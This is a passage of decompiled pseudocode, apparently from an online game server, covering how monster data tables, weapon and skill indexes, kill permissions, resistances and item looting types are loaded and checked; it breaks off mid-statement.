[sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0xABEu, 0x9Au) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005DF9B0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x24Fu, 0x86u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005DFA70) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x376u, 0xA7u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005DFB30) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x25u, 8u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005DFBE0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0xBu, 4u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005DFC90) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 7u, 0x22u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005DFD40) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x16u, 7u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005DFDF0) -------------------------------------------------------- BinaryData *__thiscall MobDataBox::__unnamed::__unnamed(BinaryData *this) { BinaryData *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(this); memset(&v1[1], 0, 0x6Cu); CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 168)); memset(&v1[3].baseclass_0.m_pHead, 0, 0xA0u); *(_WORD *)&v1[6].baseclass_0.m_sFileMD5.n8_name[12] = 0; v1[6].baseclass_0.m_sFileMD5.n8_name[14] = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 392)); memset(&v1[7].baseclass_0.m_sFileMD5.n8_name[16], 0, 0x98u); LOWORD(v1[10].baseclass_0.m_nBFSize) = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 608)); memset(&v1[11].baseclass_0.m_nDataArraySize, 0, 0x84u); *(_WORD *)&v1[13].baseclass_0.m_sFileMD5.n8_name[4] = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 804)); memset(&v1[14].baseclass_0.m_sFileMD5.n8_name[8], 0, 0xA4u); LOWORD(v1[17].baseclass_0.m_nDataArraySize) = 0; BYTE2(v1[17].baseclass_0.m_nDataArraySize) = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 1032)); v1[18].baseclass_0.m_nFileCheckSum = 0; *(_DWORD *)&v1[18].baseclass_0.m_sFileMD5.n8_name[0] = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 1100)); *(_DWORD *)&v1[19].baseclass_0.m_sFileMD5.n8_name[4] = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 1164)); *(_DWORD *)&v1[20].baseclass_0.m_sFileMD5.n8_name[8] = 0; *(_DWORD *)&v1[20].baseclass_0.m_sFileMD5.n8_name[12] = 0; *(_DWORD *)&v1[20].baseclass_0.m_sFileMD5.n8_name[16] = 0; *(_DWORD *)&v1[20].baseclass_0.m_sFileMD5.n8_name[20] = 0; *(_DWORD *)&v1[20].baseclass_0.m_sFileMD5.n8_name[24] = 0; *(_DWORD *)&v1[20].baseclass_0.m_sFileMD5.n8_name[28] = 0; v1[20].baseclass_0.m_pHead = 0; v1[20].baseclass_0.m_pData = 0; LOWORD(v1[20].baseclass_0.m_pDataArray) = 0; CCharacterTitleData::CCharacterTitleData(v1 + 21); v1[22].baseclass_0.m_nFileSize = 0; LOWORD(v1[22].baseclass_0.m_nBFSize) = 0; BYTE2(v1[22].baseclass_0.m_nBFSize) = 0; return v1; } //----- (005DFF40) -------------------------------------------------------- void __thiscall MobDataBox::__unnamed::___unnamed(BinaryData *this) { BinaryData *v1; // esi@1 v1 = this; CCharacterTitleData::_CCharacterTitleData(this + 21); CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)v1 + 1164)); CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)v1 + 1100)); CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)v1 + 1032)); CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)v1 + 804)); CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)v1 + 608)); CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)v1 + 392)); CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)v1 + 168)); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (005E0000) -------------------------------------------------------- void __thiscall MobDataBox::_MobDataBox(MobDataBox *this) { MobDataBox *v1; // esi@1 void *v2; // eax@1 v1 = this; v2 = this->mdb_index; if ( v2 ) operator delete(v2); BTree::_BTree(&v1->mdb_btree); MobDataBox::__unnamed::___unnamed(&v1->mdb_BinData.mobinf.baseclass_0); } //----- (005E0070) -------------------------------------------------------- void __thiscall MobDataBox::mdb_Load(MobDataBox *this) { MobDataBox *v1; // esi@1 unsigned int v2; // eax@1 CDataReader::HEAD *v3; // ecx@1 int v4; // edx@1 CDataReader::HEAD *v5; // ecx@1 int v6; // edx@1 CDataReader::HEAD *v7; // ecx@1 unsigned int v8; // edi@4 void *v9; // eax@6 bool v10; // cf@8 void *v11; // eax@9 int v12; // ebp@11 void *v13; // eax@12 int v14; // eax@14 unsigned int v15; // eax@20 unsigned int v16; // edi@20 void *v17; // eax@22 void *v18; // eax@26 void *v19; // eax@30 unsigned int v20; // edx@33 int v21; // eax@33 unsigned int v22; // ebx@35 void *v23; // eax@37 int v24; // ebp@39 void *v25; // eax@40 void *v26; // eax@43 int v27; // edi@45 void *v28; // eax@46 int v29; // ebp@53 int v30; // eax@53 void *v31; // eax@60 void *v32; // eax@63 void *v33; // eax@66 void *v34; // eax@69 unsigned int v35; // edi@71 void *v36; // eax@73 unsigned int v37; // edi@79 void *v38; // eax@81 MobInfoServer *v39; // eax@87 unsigned int v40; // ebx@88 void *v41; // eax@90 unsigned int v42; // ebp@95 unsigned int v43; // ebx@95 void *v44; // edi@97 unsigned __int16 v45; // ax@99 int id; // [sp+10h] [bp-54h]@1 int nMobKillLog; // [sp+14h] [bp-50h]@1 int nMobKillAnnounce; // [sp+18h] [bp-4Ch]@1 int mobinfoid; // [sp+1Ch] [bp-48h]@42 char buffer[64]; // [sp+20h] [bp-44h]@18 unsigned int v51; // [sp+60h] [bp-4h]@1 v51 = (unsigned int)&id ^ __security_cookie; v1 = this; BinaryDataBox::bdb_ReadData(&this->mdb_BinData.mobinf, "../9Data/Hero/MobInfo.shn"); BinaryDataBox::bdb_ReadData(&v1->mdb_BinData.mobspec, "../9Data/Hero/MobSpecies.shn"); BinaryDataBox::bdb_ReadData(&v1->mdb_BinData.mobweapon, "../9Data/Hero/MobWeapon.shn"); BinaryDataBox::bdb_ReadData(&v1->mdb_BinData.mobinfserv, "../9Data/Hero/MobInfoServer.shn"); BinaryDataBox::bdb_ReadData(&v1->mdb_BinData.questspec, "../9Data/Hero/QuestSpecies.shn"); BinaryDataBox::bdb_ReadData(&v1->mdb_BinData.mobkillannounce, "../9Data/Hero/MobKillAnnounce.shn"); BinaryDataBox::bdb_ReadData(&v1->mdb_BinData.mobkilllog, "../9Data/Hero/MobKillLog.shn"); BinaryDataBox::bdb_ReadData(&v1->mdb_BinData.moblifetime, "../9Data/Hero/MobLifeTime.shn"); BinaryDataBox::bdb_ReadData(&v1->mdb_BinData.mobKillablePermission, "../9Data/Hero/MobKillAble.shn"); v2 = v1->mdb_BinData.mobinf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v3 = v1->mdb_BinData.mobkillannounce.baseclass_0.baseclass_0.m_pHead; v1->mdb_mobspacies = v2; v4 = v3->nNumOfRecord; v5 = v1->mdb_BinData.mobkilllog.baseclass_0.baseclass_0.m_pHead; nMobKillAnnounce = v4; v6 = v5->nNumOfRecord; v7 = v1->mdb_BinData.mobinfserv.baseclass_0.baseclass_0.m_pHead; nMobKillLog = v6; if ( v7->nNumOfRecord != v2 || v1->mdb_BinData.mobspec.baseclass_0.baseclass_0.m_pHead->nNumOfRecord != v2 || v1->mdb_BinData.questspec.baseclass_0.baseclass_0.m_pHead->nNumOfRecord != v2 ) { AssertClass::ac_AssertFail(&shineassert, "MobDataBox::mdb_Load : Mob number mismatch", 0); v8 = 0; if ( v1->mdb_mobspacies > 0 ) { while ( 1 ) { v9 = v8 < v1->mdb_BinData.mobinf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->mdb_BinData.mobinf.baseclass_0.baseclass_0, v8) : &v1->mdb_BinData.mobinf.bdb_defaultblock; v10 = v8 < v1->mdb_BinData.mobinfserv.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; id = *(_WORD *)v9; v11 = v10 ? CDataReader::GetRecord(&v1->mdb_BinData.mobinfserv.baseclass_0.baseclass_0, v8) : &v1->mdb_BinData.mobinfserv.bdb_defaultblock; v12 = *(_DWORD *)v11; v13 = v8 < v1->mdb_BinData.mobspec.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->mdb_BinData.mobspec.baseclass_0.baseclass_0, v8) : &v1->mdb_BinData.mobspec.bdb_defaultblock; v14 = *(_WORD *)v13; if ( id != v12 ) break; if ( v12 != v14 ) break; ++v8; if ( v8 >= v1->mdb_mobspacies ) goto LABEL_19; } sprintf(buffer, "%d/%d/%d"); AssertClass::ac_AssertFail(&shineassert, "Conflict ", buffer); } LABEL_19: ShineExit("MobDataBox::mdb_Load"); } v15 = v1->mdb_mobspacies; v16 = 0; v1->mdb_maxmobhandle = 0; if ( v15 > 0 ) { do { if ( v16 < v1->mdb_BinData.mobinf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v17 = CDataReader::GetRecord(&v1->mdb_BinData.mobinf.baseclass_0.baseclass_0, v16); else v17 = &v1->mdb_BinData.mobinf.bdb_defaultblock; if ( v1->mdb_maxmobhandle < *(_WORD *)v17 ) { if ( v16 < v1->mdb_BinData.mobinf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v18 = CDataReader::GetRecord(&v1->mdb_BinData.mobinf.baseclass_0.baseclass_0, v16); else v18 = &v1->mdb_BinData.mobinf.bdb_defaultblock; v1->mdb_maxmobhandle = *(_WORD *)v18; } ++v16; } while ( v16 < v1->mdb_mobspacies ); } v19 = operator new__(44 * (v1->mdb_maxmobhandle + 1)); v1->mdb_index = (MobDataBox::MobDataBoxIndex *)v19; if ( v19 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "Memory leak for index in MobInfo.dat", v1->mdb_maxmobhandle + 1); ShineExit("MobDataBox::mdb_Load"); } v20 = 0; v21 = 0; do { v1->mdb_index[v21].data = 0; v1->mdb_index[v21].serv = 0; v1->mdb_index[v21].species = 0; v1->mdb_index[v21].questspecies = 0; v1->mdb_index[v21].MobIndexFlag._bf0 &= 0xFEu; v1->mdb_index[v21].MobIndexFlag._bf0 &= 0xFDu; v1->mdb_index[v21].p_mobkillannounce = 0; v1->mdb_index[v21].p_mobkilllog = 0; v1->mdb_index[v21].p_MobLifeTime = 0; v1->mdb_index[v21].registindex = -1; v1->mdb_index[v21].weapon = 0; v1->mdb_index[v21].weaponnumber = 0; ++v20; ++v21; } while ( v20 <= v1->mdb_maxmobhandle ); v22 = 0; if ( v1->mdb_mobspacies > 0 ) { do { if ( v22 < v1->mdb_BinData.mobinf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v23 = CDataReader::GetRecord(&v1->mdb_BinData.mobinf.baseclass_0.baseclass_0, v22); else v23 = &v1->mdb_BinData.mobinf.bdb_defaultblock; v24 = *(_WORD *)v23; v10 = v22 < v1->mdb_BinData.mobinfserv.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; id = *(_WORD *)v23; if ( v10 ) v25 = CDataReader::GetRecord(&v1->mdb_BinData.mobinfserv.baseclass_0.baseclass_0, v22); else v25 = &v1->mdb_BinData.mobinfserv.bdb_defaultblock; v10 = v22 < v1->mdb_BinData.mobspec.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; mobinfoid = *(_DWORD *)v25; if ( v10 ) v26 = CDataReader::GetRecord(&v1->mdb_BinData.mobspec.baseclass_0.baseclass_0, v22); else v26 = &v1->mdb_BinData.mobspec.bdb_defaultblock; v27 = *(_WORD *)v26; if ( v22 < v1->mdb_BinData.questspec.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v28 = CDataReader::GetRecord(&v1->mdb_BinData.questspec.baseclass_0.baseclass_0, v22); else v28 = &v1->mdb_BinData.questspec.bdb_defaultblock; if ( v24 != mobinfoid || v24 != v27 || v24 != *(_WORD *)v28 ) { AssertClass::ac_AssertFail(&shineassert, "MobDataBox::mdb_Load : DataOrder mismatch", v24); ShineExit("MobDataBox::mdb_Load"); } v29 = id; v30 = (int)&v1->mdb_index[id]; if ( *(_DWORD *)v30 || *(_DWORD *)(v30 + 4) || *(_DWORD *)(v30 + 16) || *(_DWORD *)(v30 + 24) ) { AssertClass::ac_AssertFail(&shineassert, "Data duplicate in MobInfo.shn", id); ShineExit("MobDataBox::mdb_Load"); } if ( v22 < v1->mdb_BinData.mobinf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v31 = CDataReader::GetRecord(&v1->mdb_BinData.mobinf.baseclass_0.baseclass_0, v22); else v31 = &v1->mdb_BinData.mobinf.bdb_defaultblock; v1->mdb_index[v29].data = (MobInfo *)v31; if ( v22 < v1->mdb_BinData.mobinfserv.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v32 = CDataReader::GetRecord(&v1->mdb_BinData.mobinfserv.baseclass_0.baseclass_0, v22); else v32 = &v1->mdb_BinData.mobinfserv.bdb_defaultblock; v1->mdb_index[v29].serv = (MobInfoServer *)v32; if ( v22 < v1->mdb_BinData.mobspec.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v33 = CDataReader::GetRecord(&v1->mdb_BinData.mobspec.baseclass_0.baseclass_0, v22); else v33 = &v1->mdb_BinData.mobspec.bdb_defaultblock; v1->mdb_index[v29].species = (MobSpecies *)v33; if ( v22 < v1->mdb_BinData.questspec.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v34 = CDataReader::GetRecord(&v1->mdb_BinData.questspec.baseclass_0.baseclass_0, v22); else v34 = &v1->mdb_BinData.questspec.bdb_defaultblock; v1->mdb_index[v29].questspecies = (QuestSpecies *)v34; v35 = 0; if ( nMobKillAnnounce > 0 ) { while ( 1 ) { v36 = v35 < v1->mdb_BinData.mobkillannounce.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord(&v1->mdb_BinData.mobkillannounce.baseclass_0.baseclass_0, v35) : &v1->mdb_BinData.mobkillannounce.bdb_defaultblock; if ( *(_DWORD *)v36 == id ) break; ++v35; if ( (signed int)v35 >= nMobKillAnnounce ) goto LABEL_79; } v1->mdb_index[v29].p_mobkillannounce = (MobKillAnnounce *)v36; } LABEL_79: v37 = 0; if ( nMobKillLog > 0 ) { while ( 1 ) { v38 = v37 < v1->mdb_BinData.mobkilllog.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->mdb_BinData.mobkilllog.baseclass_0.baseclass_0, v37) : &v1->mdb_BinData.mobkilllog.bdb_defaultblock; if ( *(_DWORD *)v38 == id ) break; ++v37; if ( (signed int)v37 >= nMobKillLog ) goto LABEL_87; } v1->mdb_index[v29].p_mobkilllog = (MobKillLog *)v38; } LABEL_87: v39 = v1->mdb_index[v29].serv; BTree::bt_Insert(&v1->mdb_btree, v39->InxName, v39->ID); ++v22; } while ( v22 < v1->mdb_mobspacies ); } v40 = 0; if ( v1->mdb_mobspacies ) { do { if ( v40 < v1->mdb_BinData.mobinfserv.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v41 = CDataReader::GetRecord(&v1->mdb_BinData.mobinfserv.baseclass_0.baseclass_0, v40); else v41 = &v1->mdb_BinData.mobinfserv.bdb_defaultblock; if ( *((_BYTE *)v41 + 112) != 45 ) v1->mdb_index[*(_DWORD *)v41].registindex = MobResistTable::operator__(&mobresisttable, (char *)v41 + 112); ++v40; } while ( v40 < v1->mdb_mobspacies ); } v42 = v1->mdb_BinData.moblifetime.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v43 = 0; if ( v42 ) { do { if ( v43 < v1->mdb_BinData.moblifetime.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v44 = CDataReader::GetRecord(&v1->mdb_BinData.moblifetime.baseclass_0.baseclass_0, v43); else v44 = &v1->mdb_BinData.moblifetime.bdb_defaultblock; v45 = MobDataBox::mdb_2MobID(v1, (const char *)v44); if ( v45 != -1 ) v1->mdb_index[v45].p_MobLifeTime = *((_WORD *)v44 + 16); ++v43; } while ( v43 < v42 ); } } //----- (005E06B0) -------------------------------------------------------- void __thiscall MobDataBox::mdb_SkillStore(MobDataBox *this, BTree *skillbtree, BTree *abstrbtree) { MobDataBox *v3; // edi@1 unsigned int i; // ebx@1 void *v5; // ebp@3 unsigned __int16 v6; // ax@6 int v7; // ebp@6 unsigned int v8; // ebp@10 int v9; // esi@11 int v10; // eax@12 void *v11; // eax@13 unsigned int v12; // eax@17 void *v13; // ebx@19 int v14; // esi@22 int v15; // esi@26 char v16; // al@29 unsigned int v17; // eax@31 signed int v18; // edx@31 int sub; // [sp+10h] [bp-4h]@17 v3 = this; for ( i = 0; ; ++i ) { v5 = i < v3->mdb_BinData.mobweapon.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v3->mdb_BinData.mobweapon.baseclass_0.baseclass_0, i) : &v3->mdb_BinData.mobweapon.bdb_defaultblock; if ( v5 == &v3->mdb_BinData.mobweapon.bdb_defaultblock ) break; v6 = BTree::operator__(&v3->mdb_btree, (const char *)v5 + 4); v7 = *(_DWORD *)v5; if ( v6 != v7 ) { AssertClass::ac_AssertFail(&shineassert, "MobDataBox::mdb_Load : Error in Monster Weapon", v7); ShineExit("MobDataBox::mdb_SkillStore"); } ++v3->mdb_index[v6].weaponnumber; } v8 = 0; if ( v3->mdb_maxmobhandle != -1 ) { v9 = 0; do { v10 = (int)&v3->mdb_index[v9]; if ( *(_DWORD *)(v10 + 12) ) { v11 = *(void **)(v10 + 8); if ( v11 ) { operator delete(v11); v3->mdb_index[v9].weapon = 0; } v3->mdb_index[v9].weapon = (MobDataBox::MobDataBoxIndex::_MobWeaponIndex *)operator new__(12 * v3->mdb_index[v9].weaponnumber); } v3->mdb_index[v9].weaponnumber = 0; ++v8; ++v9; } while ( v8 < v3->mdb_maxmobhandle + 1 ); } v12 = 0; for ( sub = 0; ; ++sub ) { v13 = v12 < v3->mdb_BinData.mobweapon.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v3->mdb_BinData.mobweapon.baseclass_0.baseclass_0, v12) : &v3->mdb_BinData.mobweapon.bdb_defaultblock; if ( v13 == &v3->mdb_BinData.mobweapon.bdb_defaultblock ) break; v14 = (unsigned __int16)BTree::operator__(&v3->mdb_btree, (const char *)v13 + 4); if ( v14 != *(_DWORD *)v13 ) { AssertClass::ac_AssertFail(&shineassert, "MobDataBox::mdb_Load : Error in Monster Weapon", *(_DWORD *)v13); ShineExit("MobDataBox::mdb_SkillStore"); } if ( *((_BYTE *)v13 + 37) == 45 ) { v15 = v14; v3->mdb_index[v15].weapon[v3->mdb_index[v15].weaponnumber].skill = -1; } else { v15 = v14; v3->mdb_index[v15].weapon[v3->mdb_index[v15].weaponnumber].skill = BTree::operator__( skillbtree, (const char *)v13 + 37); if ( v3->mdb_index[v15].weapon[v3->mdb_index[v15].weaponnumber].skill == -1 ) AssertClass::ac_AssertFail( &shineassert, "MobDataBox::mdb_SkillStore : Invalid MobSkill Name", (const char *)v13 + 37); } v16 = *((_BYTE *)v13 + 115); if ( v16 != 45 && v16 ) { v17 = BTree::operator__(abstrbtree, (const char *)v13 + 115); v18 = 609; if ( v17 != -1 ) v18 = v17; v3->mdb_index[v15].weapon[v3->mdb_index[v15].weaponnumber].abstate = v18; if ( v3->mdb_index[v15].weapon[v3->mdb_index[v15].weaponnumber].abstate == 609 ) AssertClass::ac_AssertFail( &shineassert, "MobDataBox::mdb_SkillStore : Invalid AbState Name", (const char *)v13 + 115); } else { v3->mdb_index[v15].weapon[v3->mdb_index[v15].weaponnumber].abstate = 609; *((_WORD *)v13 + 75) = 0; } v3->mdb_index[v15].weapon[v3->mdb_index[v15].weaponnumber++].weapon = (MobWeapon *)v13; v12 = sub + 1; } } //----- (005E0970) -------------------------------------------------------- bool __thiscall MobDataBox::mdb_CanIKill(MobDataBox *this, unsigned __int16 mobID, MobKillerIdentity identity) { bool result; // al@2 MobKillType v4; // esi@3 unsigned int v5; // edx@6 CDataReader *v6; // ecx@6 void *v7; // eax@7 if ( mobID == -1 ) { result = 1; } else { v4 = this->mdb_index[mobID].serv->MobKillInx; if ( (signed int)v4 >= 0 && (signed int)v4 < 3 ) { v5 = this->mdb_BinData.mobKillablePermission.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v6 = (CDataReader *)&this->mdb_BinData.mobKillablePermission; if ( v4 < v5 ) v7 = CDataReader::GetRecord(v6, v4); else v7 = &v6[1]; if ( v7 ) { switch ( identity ) { case 0: result = *((_BYTE *)v7 + 4) != 0; break; case 1: result = *((_BYTE *)v7 + 5) != 0; break; case 2: result = *((_BYTE *)v7 + 6) != 0; break; case 3: goto $L71060; default: AssertClass::ac_AssertFail(&shineassert, "MobDataBox::mdb_CanIKill : Unknown identity", identity); $L71060: result = 1; break; } } else { AssertClass::ac_AssertFail(&shineassert, "MobDataBox::mdb_CanIKill : mobKillAble is NULL", v4); result = 0; } } else { AssertClass::ac_AssertFail(&shineassert, "MobDataBox::mdb_CanIKill : Invalid MobKillType", mobID); result = 0; } } return result; } //----- (005E0A60) -------------------------------------------------------- void __thiscall MobDataBox::MobDataBox(MobDataBox *this, char *pdatafn) { MobDataBox *v2; // esi@1 v2 = this; MobDataBox::__unnamed::__unnamed(&this->mdb_BinData.mobinf.baseclass_0); BTree::BTree(&v2->mdb_btree); v2->mdb_index = 0; v2->mdb_maxmobhandle = 0; if ( pdatafn != (char *)-1 ) { AssertClass::ac_AssertFail(&shineassert, "MobDataBox::ReadData called", 0); ShineExit("MobDataBox::ReadData"); } } //----- (005E0AF0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x11Eu, 0x34u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005E0BA0) -------------------------------------------------------- void __thiscall MobResistTable::MobResistTable(MobResistTable *this) { MobResistTable *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->mrt_BinData.baseclass_0); memset(&v1->mrt_BinData.bdb_defaultblock, 0, sizeof(v1->mrt_BinData.bdb_defaultblock)); } //----- (005E0BC0) -------------------------------------------------------- void __thiscall MobResistTable::mrt_Load(MobResistTable *this) { BinaryDataBox::bdb_ReadData(&this->mrt_BinData, "../9Data/Hero/MobResist.shn"); } //----- (005E0BD0) -------------------------------------------------------- MobResist *__thiscall MobResistTable::operator__(MobResistTable *this, unsigned __int16 idx) { unsigned int v2; // edx@1 MobResist *result; // eax@2 v2 = this->mrt_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; if ( idx < (signed int)v2 ) { if ( idx < v2 ) result = (MobResist *)CDataReader::GetRecord(&this->mrt_BinData.baseclass_0.baseclass_0, idx); else result = &this->mrt_BinData.bdb_defaultblock; } else { result = 0; } return result; } //----- (005E0C00) -------------------------------------------------------- unsigned __int16 __thiscall MobResistTable::operator__(MobResistTable *this, char *index) { MobResistTable *v2; // ebp@1 unsigned int v3; // eax@1 unsigned int v4; // edi@1 bool v5; // cf@2 const char *v6; // eax@4 signed int v7; // eax@7 v2 = this; v3 = this->mrt_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4 = 0; if ( (signed int)v3 <= 0 ) { LABEL_8: AssertClass::ac_AssertFail(&shineassert, "MobResistTable::operator [] : Invalid index", index); ShineExit("MobResistTable::operator []"); } v5 = v3 > 0; while ( 1 ) { v6 = (const char *)(v5 ? CDataReader::GetRecord(&v2->mrt_BinData.baseclass_0.baseclass_0, v4) : &v2->mrt_BinData.bdb_defaultblock); if ( !strcmp(v6, index) ) return v4; v7 = v2->mrt_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; ++v4; v5 = v4 < v7; if ( (signed int)v4 >= v7 ) goto LABEL_8; } } //----- (005E0CA0) -------------------------------------------------------- LOOTING_TYPE __thiscall CLooting::GetItemLootingTypeConVert(CLooting *this, ItemInfo *pkInfo) { LOOTING_TYPE result; // eax@2 if ( pkInfo ) { if ( pkInfo->Type != 3 ) { switch ( pkInfo->ItemGradeType ) { case 1: return this->m_ItemLootingType[1]; case 2: return this->m_ItemLootingType[0]; case 3: return this->m_ItemLootingType[2]; case 4: return this->m_ItemLootingType[4]; case 5: return this->m_ItemLootingType[3]; case 0: break; default: AssertClass::ac_AssertFail( &shineassert, "CLooting::GetItemLootingTypeConVert undefine GradeType ", pkInfo->Grade); break; } } result = 0; } else { AssertClass::ac_AssertFail(&shineassert, "CLooting::GetItemLootingTypeConVert Paramater NULL ", 0); result = 0; } return result; } //----- (005E0D30) -------------------------------------------------------- bool __thiscall CLooting::SetItemLootingType(CLooting *this, ITEM_LOOT_TYPE gradetype, LOOTING_TYPE LootingType) { bool result; // al@3 if ( (signed int)gradetype < 5 && (signed int)LootingType < 4 ) { this->m_ItemLootingType[gradetype] = 